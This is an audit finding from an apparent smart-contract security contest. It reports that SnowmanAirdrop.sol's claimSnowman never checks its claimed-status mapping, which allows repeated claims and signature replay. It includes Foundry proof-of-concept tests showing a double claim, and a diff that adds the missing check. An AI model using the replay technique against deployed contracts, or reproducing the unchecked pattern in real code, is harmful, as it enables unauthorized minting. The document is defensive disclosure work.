s_hasClaimedSnowman[receiver] Is Never Verified in claimSnowman, Enabling Double-Claiming and Infinite NFT Generation
Description
In SnowmanAirdrop.sol:69-99, the contract tracks claimed status via
s_hasClaimedSnowman[receiver] = true; after a claim succeeds, but never checks this
mapping before processing a claim:
// src/SnowmanAirdrop.sol
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v,
bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
// @> Notice: NO check here verifying whether s_hasClaimedSnowman[receiver] ==
true!
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to
contract... akin to burning
@> s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
Because s_hasClaimedSnowman is write-only dead state and EIP-712 signatures in
SnowmanClaim lack nonces and expiration deadlines, an eligible recipient (or anyone
replaying their signature) who re-acquires amount Snow tokens can claim Snowman NFTs
repeatedly with the same proof and signature.
Risk
Likelihood: High (Any eligible claimant can execute this as soon as they receive or
purchase additional Snow tokens)
Impact: High/Critical (Unbounded double-claiming, unauthorized NFT inflation, and
signature replay)
Proof of Concept
Add this test to TestSnowmanAirdrop.t.sol:
function test_double_claim_unrestricted() public {
// Alice initially has 1 Snow token from setup
assertEq(snow.balanceOf(alice), 1);
assertEq(nft.balanceOf(alice), 0);
vm.prank(alice);
snow.approve(address(airdrop), 100);
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, alDigest);
// 1. First claim
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertEq(airdrop.getClaimStatus(alice), true);
// 2. Alice acquires 1 Snow token again
deal(address(snow), alice, 1);
assertEq(snow.balanceOf(alice), 1);
// 3. Second claim succeeds with the SAME proof and signature!
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 2);
}
Recommended Mitigation
Define error SA__AlreadyClaimed(); and check s_hasClaimedSnowman[receiver] before
processing the claim:
--- a/src/SnowmanAirdrop.sol
+++ b/src/SnowmanAirdrop.sol
@@ -32,6 +32,7 @@ contract SnowmanAirdrop is EIP712, ReentrancyGuard {
error SA__InvalidSignature(); // Thrown when the provided ECDSA signature is
invalid
error SA__ZeroAddress();
error SA__ZeroAmount();
+ error SA__AlreadyClaimed();
// >>> TYPE
struct SnowmanClaim {
@@ -73,6 +74,9 @@ contract SnowmanAirdrop is EIP712, ReentrancyGuard {
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
Lead Judging Commences
[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman
# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```
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